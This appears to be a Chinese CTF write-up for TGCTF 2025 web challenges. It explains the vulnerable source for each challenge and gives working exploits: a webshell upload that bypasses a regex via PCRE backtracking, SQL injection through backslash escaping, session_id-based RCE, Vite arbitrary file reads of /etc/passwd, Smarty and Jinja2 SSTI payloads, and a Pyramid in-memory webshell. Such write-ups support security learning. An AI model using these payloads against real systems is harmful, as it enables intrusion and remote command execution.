web (ez)upload 考点 move_uploaded_file( move_uploaded_file(string $from
, string $to
): [bool] 函数缺陷:若第二个参数可控,就可以自定义上传文件后缀名。
PCRE回溯 关于PCRE回溯,即贪婪模式.*
或非贪婪模式.+?
然而PCRE引擎在处理正则表达式的时候,有一个默认的回溯机制(100w次)
贪婪模式 1 preg_match ('/<\?.*[(`;?>].*/is' ,$str )
由于在匹配到;?>]
之前已经有了.*
,所以会发生 匹配过猛 的现象,会造成回溯
非贪婪模式 1 if (preg_match ('/.+?</s' , str))
由于在匹配到<
之前就已经有了.+?
,此处的.+?
每次只匹配一个字符,当下次匹配不到<
的时候,就会回溯调用.+?
。再继续匹配<
。会发生匹配不足 。容易造成回溯
题解 访问upload.php.bak
拿到源码进行分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php define ('UPLOAD_PATH' , __DIR__ . '/uploads/' );$is_upload = false ;$msg = null ;$status_code = 200 ; if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" ); if (isset ($_GET ['name' ])) { $file_name = $_GET ['name' ]; } else { $file_name = basename ($_FILES ['name' ]['name' ]); } $file_ext = pathinfo ($file_name , PATHINFO_EXTENSION); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['name' ]['tmp_name' ]; $file_content = file_get_contents ($temp_file ); if (preg_match ('/.+?</s' , $file_content )) { $msg = '文件内容包含非法字符,禁止上传!' ; $status_code = 403 ; } else { $img_path = UPLOAD_PATH . $file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; $msg = '文件上传成功!' ; } else { $msg = '上传出错!' ; $status_code = 500 ; } } } else { $msg = '禁止保存为该类型文件!' ; $status_code = 403 ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; $status_code = 404 ; } }http_response_code ($status_code );echo json_encode ([ 'status_code' => $status_code , 'msg' => $msg , ]);
其中漏洞点在move_uploaded_file
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_GET ['name' ])) { $file_name = $_GET ['name' ]; } else { $file_name = basename ($_FILES ['name' ]['name' ]); }$img_path = UPLOAD_PATH . $file_name ;if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; $msg = '文件上传成功!' ; }
如果有get传参的name,就会以get传来的数据作为移动的文件名。所以move_uploaded_file
函数的第二个参数我们可控。那么就可以通过这个绕过后缀名黑名单。黑名单没过滤.txt
另一个漏洞点就是PCRE回溯
1 2 3 4 if (preg_match ('/.+?</s' , $file_content )) { $msg = '文件内容包含非法字符,禁止上传!' ; $status_code = 403 ; }
非贪婪匹配 <
如果有<
则会返回true。但是这里存在PCRE回溯
。通过塞入大于 100w的脏数据来让这里返回false
即可绕过。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests url = "http://182.92.xxx.xxx:9111/upload.php" payload = "a" * 1010000 + '<?php system($_GET[1]);?>' files = { 'name' :('1.txt' ,payload,'text/plain' ) } params = { 'name' : '1.php/.' } data = { 'submit' : '上传文件' } response = requests.post(url=url,files=files,data=data,params=params)print (response.status_code)print (response.text) shellUrl = "http://182.92.xxx.xxx:9111/uploads/1.php" cmd = shellUrl+'?1=env' cmd_req = requests.get(url=cmd)print (cmd_req.text)
我这里并没有设置flag。因为我是本地启动的docker。
后台管理 考点 考点在源码中,属于代码问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from flask import Flask, request, redirect, render_template, render_template_stringimport pymysql.cursorsimport osdef db (): return pymysql.connect( host=os.environ["MYSQL_HOST" ], user=os.environ["MYSQL_USER" ], password=os.environ["MYSQL_PASSWORD" ], database=os.environ["MYSQL_DATABASE" ], charset="utf8mb4" , cursorclass=pymysql.cursors.DictCursor, ) app = Flask(__name__)@app.get("/" ) def index (): if "username" not in request.cookies: return redirect("/login" ) return render_template("index.html" , username=request.cookies["username" ])@app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) if username is None or password is None : return "要输入账号密码喔~" , 400 if len (username) > 64 or len (password) > 64 : return "哈~太长了,受不了了~" , 400 if "'" in username or "'" in password: return "杂鱼,还想SQL注入?爬!" , 400 conn = None try : conn = db() with conn.cursor() as cursor: cursor.execute( f"SELECT * FROM users WHERE username = '{username} ' AND password = '{password} '" ) user = cursor.fetchone() except Exception as e: return f"Error: {e} " , 500 finally : if conn is not None : conn.close() if user is None or "username" not in user: return "账号密码错误" , 400 response = redirect("/" ) response.set_cookie("username" , user["username" ]) return response else : return render_template("login.html" )
username 与 password 不能超过64个字符,且过滤了'
格式化字符串字面量的方式嵌入SQL
语句。正因为如此,造成了漏洞。
虽然过滤了'
,但由于'{username}'
我们的username可以传入转义字符\
这样就会把闭合的'
进行转义。
1 2 3 4 5 6 7 8 9 10 11 / / 假设username= admin password= 123 f"SELECT * FROM users WHERE username = 'admin' AND password = '123'" 通过转义后变为了 username= admin\ password= 123 f"SELECT * FROM users WHERE username = 'admin\' AND password = '123'" 这时候就可以进行sql 注入SELECT * FROM users WHERE username = 'admin\' AND password = 'union select * from flag --+' 从而达到让我们的恶意sql 语句从单引号逃逸出来。
题解 库名
通过这种方式判断字段数为 2,回显位为1
库为 tgctf
flag 这里我尝试猜表名与列名,因为字符必须小于64。
偷渡阴平 考点 session_id rce
开启session后,获取PHPSESSID的值(由我们可控)。从而rce。
session的格式:十六进制
题解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $tgctf2025 =$_GET ['tgctf2025' ];if (!preg_match ("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i" , $tgctf2025 )){ eval ($tgctf2025 ); }else { die ('(╯‵□′)╯炸弹!•••*~●' ); }highlight_file (__FILE__ );
没有过滤session_id
。首先我们需要开启session获取 session_start()
。然后构造我们的恶意命令 ls => 6c73
。并且使用hex2bin()
将十六进制数据转换为原始二进制。即ls
题目很友好,没有给system
过滤
1 2 GET: http: COOKIE:PHPSESSID=6 C73202F
flag在根目录
1 2 GET: http: COOKIE:PHPSESSID=636174202 F666C6167
前端GAME 考点 最近爆的 Vite
任意文件读取漏洞。
https://www.cnblogs.com/risheng/p/18795361
题解
获取到vite版本 符合漏洞版本。读取/etc/passwd
http://154.23.163.97:1234/@fs/etc/passwd?import&raw??
读取/proc/1/cmdline
启动了一个start.sh
脚本。
获取flag路径 /tgflagggg
前端GAME PLUS 考点 https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjg4Mw==&mid=2247483811&idx=1&sn=2b4403023fd911f611bf5590ea3796d6&scene=21#wechat_redirect
POC 1
仅影响Vite 6.0及以上版本(即>=6.0.0的受影响版本);
仅当被读取的文件大小小于build.assetsInlineLimit
配置值时(默认值为4KB)。
1 curl "http://localhost:5173/etc/passwd?.svg?.wasm?init"
POC 2 如果知道Vite所在的绝对路径,可以利用如下POC
1 curl --request-target /@fs/x/x/x/vite-project/#/../../../../../etc/passwd http://localhost:5173/
HTTP 1.1规范(RFC 9112)规定在请求目标(request-target)中不允许出现#
字符。然而,攻击者是有可能发送包含#
的请求的。对于那些请求行(包含请求目标)无效的请求,规范建议服务器返回400错误请求)或301永久重定向)状态码来拒绝这些请求。对于HTTP 2协议也是类似的情况。
所以需要 --request-target
参数
题解
前端GAME Ultra 考点 就是PLUS版本的POC2
火眼辩魑魅 考点 Smarty
模板渲染
1 2 3 4 5 6 7 8 <?php error_reporting (0 ); require './Smarty/libs/Smarty.class.php' ; $smarty = new Smarty (); $ip = isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]; echo "OvO 你电脑的IP是:" ; $smarty ->display ("string:" .$ip ); ?>
传参点在XFF
题解
确认存在 SSTI。
flag在根目录 tgfffffllllaagggggg
熟悉的配方,熟悉的味道 考点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 from pyramid.config import Configuratorfrom pyramid.request import Requestfrom pyramid.response import Responsefrom pyramid.view import view_configfrom wsgiref.simple_server import make_serverfrom pyramid.events import NewResponseimport refrom jinja2 import Environment, BaseLoader eval_globals = { '__builtins__' : {}, '__import__' : None }def checkExpr (expr_input ): expr = re.split(r"[-+*/]" , expr_input) print (exec (expr_input)) if len (expr) != 2 : return 0 try : int (expr[0 ]) int (expr[1 ]) except : return 0 return 1 def home_view (request ): expr_input = "" result = "" if request.method == 'POST' : expr_input = request.POST['expr' ] if checkExpr(expr_input): try : result = eval (expr_input, eval_globals) except Exception as e: result = e else : result = "爬!" template_str = ''' <!doctype html> <html> <head> <meta charset="utf-8"> <title>Calculator with Code Highlighting</title> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/default.min.css"> <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script> <script>hljs.highlightAll();</script> <style> body { font-family: Arial, sans-serif; margin: 20px; } pre { background: #f5f5f5; padding: 10px; } </style> </head> <body> <h1>Calculator</h1> <form method="post"> <label for="expr">输入表达式:</label> <input type="text" name="expr" id="expr" value="{{ expr_input }}" placeholder="输入二元表达式,例如: 1+2 或 3-4 或 5*6 或 7/8" style="width: 300px;"> <button type="submit">计算</button> </form> {% if result != "" %} <h2>结果: {{ result }}</h2> {% endif %} <h2>代码:</h2> <pre><code class="python"> {% raw %} from pyramid.config import Configurator from pyramid.request import Request from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server from pyramid.events import NewResponse import re from jinja2 import Environment, BaseLoader eval_globals = { #防止eval执行恶意代码 '__builtins__': {}, # 禁用所有内置函数 '__import__': None # 禁止动态导入 } def checkExpr(expr_input): expr = re.split(r"[-+*/]", expr_input) print(exec(expr_input)) if len(expr) != 2: return 0 try: int(expr[0]) int(expr[1]) except: return 0 return 1 def home_view(request): expr_input = "" result = "" if request.method == 'POST': expr_input = request.POST['expr'] if checkExpr(expr_input): try: result = eval(expr_input, eval_globals) except Exception as e: result = e else: result = "爬!" template_str = 【xxx】 env = Environment(loader=BaseLoader()) template = env.from_string(template_str) rendered = template.render(expr_input=expr_input, result=result) return Response(rendered) if __name__ == '__main__': with Configurator() as config: config.add_route('home_view', '/') config.add_view(home_view, route_name='home_view') app = config.make_wsgi_app() server = make_server('0.0.0.0', 9040, app) server.serve_forever() {% endraw %} </code></pre> </body> </html> ''' env = Environment(loader=BaseLoader()) template = env.from_string(template_str) rendered = template.render(expr_input=expr_input, result=result) return Response(rendered)if __name__ == '__main__' : with Configurator() as config: config.add_route('home_view' , '/' ) config.add_view(home_view, route_name='home_view' ) app = config.make_wsgi_app() server = make_server('0.0.0.0' , 9040 , app) server.serve_forever()
pyramid
框架的无回显RCE打内存马。
漏洞点在exec函数
1 2 3 4 5 6 7 8 9 10 11 12 13 def checkExpr (expr_input ): expr = re.split(r"[-+*/]" , expr_input) print (exec (expr_input)) if len (expr) != 2 : return 0 try : int (expr[0 ]) int (expr[1 ]) except : return 0 return 1
内存马 1 exec ("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()" )
1 2 3 4 5 6 import sys; config = sys.modules['__main__' ].config app = sys.modules['__main__' ].app config.add_route('shell' ,'/shell' ) config.add_view(lambda request: Response(__import__ ('os' ).popen(request.params.get('1' )).read()),route_name='shell' ) app = config.make_wsgi_app()
题解
注入内存马。
直面天命 考点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import osimport stringfrom flask import Flask, request, render_template_string, jsonify, send_from_directoryfrom a.b.c.d.secret import secret_key app = Flask(__name__) black_list=['lipsum' ,'|' ,'%' ,'{' ,'}' ,'map' ,'chr' , 'value' , 'get' , "url" , 'pop' ,'include' ,'popen' ,'os' ,'import' ,'eval' ,'_' ,'system' ,'read' ,'base' ,'globals' ,'_.' ,'set' ,'application' ,'getitem' ,'request' , '+' , 'init' , 'arg' , 'config' , 'app' , 'self' ]def waf (name ): for x in black_list: if x in name.lower(): return True return False def is_typable (char ): typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace return char in typable_chars@app.route('/' ) def home (): return send_from_directory('static' , 'index.html' )@app.route('/jingu' , methods=['POST' ] ) def greet (): template1="" template2="" name = request.form.get('name' ) template = f'{name} ' if waf(name): template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">' else : k=0 for i in name: if is_typable(i): continue k=1 break if k==1 : if not (secret_key[:2 ] in name and secret_key[2 :]): template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">' return render_template_string(template) template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>" template= template.replace("天命" ,"{{" ).replace("难违" ,"}}" ) template = template if "cat" in template: template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">' try : return template1+render_template_string(template)+render_template_string(template2) except Exception as e: error_message = f"500报错了,查询语句如下:<br>{template} " return error_message, 400 @app.route('/hint' , methods=['GET' ] ) def hinter (): template="hint:<br>有一个aazz路由,去那里看看吧,天命人!" return render_template_string(template)@app.route('/aazz' , methods=['GET' ] ) def finder (): with open (__file__, 'r' ) as f: source_code = f.read() return f"<pre>{source_code} </pre>" , 200 , {'Content-Type' : 'text/html; charset=utf-8' }if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
考点是ssti,只不过给{{}}
替换了。然后黑名单过滤可以使用fenjing梭。
题解 访问 hint得到提示
aazz存在源码
天命
会被替换为{{`,难违替换为`}}
这里可以使用fenjing,cp源码到本地开启服务。并且去掉{}
过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from fenjing import exec_cmd_payload, config_payloadimport logging logging.basicConfig(level = logging.INFO)def waf (s: str ): blacklist=['lipsum' ,'|' ,'%' ,'map' ,'chr' , 'value' , 'get' , "url" , 'pop' ,'include' ,'popen' ,'os' ,'import' ,'eval' ,'_' ,'system' ,'read' ,'base' ,'globals' ,'_.' ,'set' ,'application' ,'getitem' ,'request' , '+' , 'init' , 'arg' , 'config' , 'app' , 'self' ] return all (word not in s for word in blacklist)if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "ls /" ) config_payload = config_payload(waf) print (f"{shell_payload=} " ) print (f"{config_payload=} " )
跑出来的payload把{{}}
替换为天命难违
但是还需要把后面的一些os,popen,read也替换为十六进制编码。
1 name=天命(namespace["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f" ]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f" ]['\x6f\x73' ]['\x70\x6f\x70\x65\x6e' ]('cat /tgffff11111aaaagggggggg' ))['\x72\x65\x61\x64' ]()难违